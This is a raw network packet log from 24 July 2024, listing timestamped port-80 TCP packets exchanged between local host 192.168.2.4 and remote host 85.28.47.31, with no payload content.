Jul 24, 2024 02:39:07.354206085 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.354206085 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.354214907 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.354249001 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.354280949 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.354298115 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.354315042 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.354347944 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.354356050 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.354377031 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.354409933 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.354423046 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.354444027 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.354475021 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.354475975 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.354510069 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.354523897 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.354523897 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.354545116 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.354571104 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.354578972 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.354612112 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.354629993 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.354629993 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.354644060 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.354666948 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.354680061 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.354707956 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.354732037 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.355062008 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.355112076 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.355128050 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.355161905 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.355268955 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.355331898 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.355354071 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.355391026 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.355417967 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.355439901 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.355473042 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.355505943 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.355537891 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.355541945 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.355565071 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.355576038 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.355582952 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.355627060 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.355655909 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.355693102 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.355720997 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.355742931 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.355823994 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.355856895 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.355890036 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.355891943 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.355917931 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.355923891 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.355937004 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.355957985 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.355986118 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.355990887 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.356004953 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.356026888 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.356053114 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.356072903 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.356076956 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.356106043 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.356133938 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.356137991 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.356153965 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.356197119 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.356272936 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.356323004 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.356338978 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.356359005 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.356374979 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.356390953 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.356406927 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.356426001 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.356451988 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.356457949 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.356501102 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.356523037 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.356525898 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.356560946 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.356578112 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.356595993 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.356615067 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.356628895 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.356647015 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.356663942 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.356681108 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.356725931 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.356746912 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.356781006 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.356813908 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.356813908 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.356841087 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.356849909 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.356858969 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.356888056 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.356897116 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.356920958 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.356952906 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.356959105 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.356977940 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.357064009 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.357069969 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.357098103 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.357131004 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.357131004 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.357148886 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.357178926 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.357182026 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.357217073 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.357232094 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.357251883 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.357268095 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.357285023 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.357301950 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.357317924 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.357345104 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.357352972 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.357367039 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.357386112 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.357414007 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.357420921 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.357431889 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.357453108 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.357482910 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.357487917 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.357511997 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.357525110 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.357536077 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.357561111 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.357589960 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.357613087 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.357872009 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.357903957 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.357938051 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.357940912 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.357966900 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.357984066 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.358021975 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.358056068 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.358074903 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.358082056 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.358091116 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.358103991 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.358107090 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.358143091 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.358148098 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.358148098 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.358159065 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.358174086 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.358175993 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.358191967 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.358195066 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.358206987 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.358213902 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.358223915 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.358238935 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.358249903 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.358252048 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.358278990 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.358361006 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.359344959 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.359368086 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.359390974 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.359407902 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.359406948 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.359425068 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.359440088 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.359440088 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.359457016 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.359481096 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.359509945 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.448259115 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.448551893 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.448766947 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.448813915 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.448849916 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.448884010 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.448947906 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.448961973 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.448961973 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.448961973 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.448961973 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.448998928 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.449033022 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.449043036 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.449064970 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.449065924 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.449081898 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.449100018 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.449115038 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.449132919 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.449147940 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.449167013 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.449199915 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.449203968 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.449218988 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.449234009 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.449249029 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.449266911 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.449280977 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.449301004 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.449318886 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.449333906 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.449343920 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.449367046 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.449385881 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.449402094 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.449412107 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.449460030 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.449610949 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.449642897 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.449709892 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.449742079 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.449774981 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.449789047 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.449789047 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.449789047 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.449790001 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.449809074 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.449841976 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.449871063 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.449871063 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.449875116 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.449891090 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.449908018 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.449922085 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.449940920 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.449954987 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.449991941 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.449996948 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.450042963 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.450050116 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.450077057 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.450109005 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.450109959 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.450128078 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.450160027 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.450176001 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.450191975 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.450225115 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.450226068 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.450257063 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.450257063 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.450278044 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.450295925 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.450329065 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.450331926 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.450351954 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.450362921 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.450376987 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.450396061 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.450414896 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.450428963 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.450443029 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.450469971 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.450479031 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.450541019 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.450668097 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.450720072 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.450750113 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.450753927 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.450779915 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.450788021 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.450798988 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.450843096 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.450870037 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.450905085 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.450930119 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.450952053 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.451034069 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.451066017 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.451092958 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.451101065 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.451117039 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.451148033 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.451158047 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.451191902 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.451217890 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.451236010 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.451369047 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.451401949 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.451427937 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.451435089 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.451447964 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.451488018 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.451558113 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.451591015 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.451613903 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.451626062 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.451639891 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.451659918 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.451673985 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.451693058 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.451709032 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.451728106 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.451741934 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.451786041 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.452069044 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.452101946 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.452131033 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.452141047 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.452151060 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.452174902 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.452202082 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.452208996 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.452219009 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.452243090 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.452258110 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.452290058 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.452544928 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.452579975 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.452595949 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.452611923 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.452627897 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.452646017 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.452665091 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.452678919 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.452696085 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.452712059 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.452724934 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.452744961 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.452759027 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.452778101 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.452790022 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.452811956 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.452837944 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.452843904 CEST	80	49730	85.28.47.31	192.168.2.4
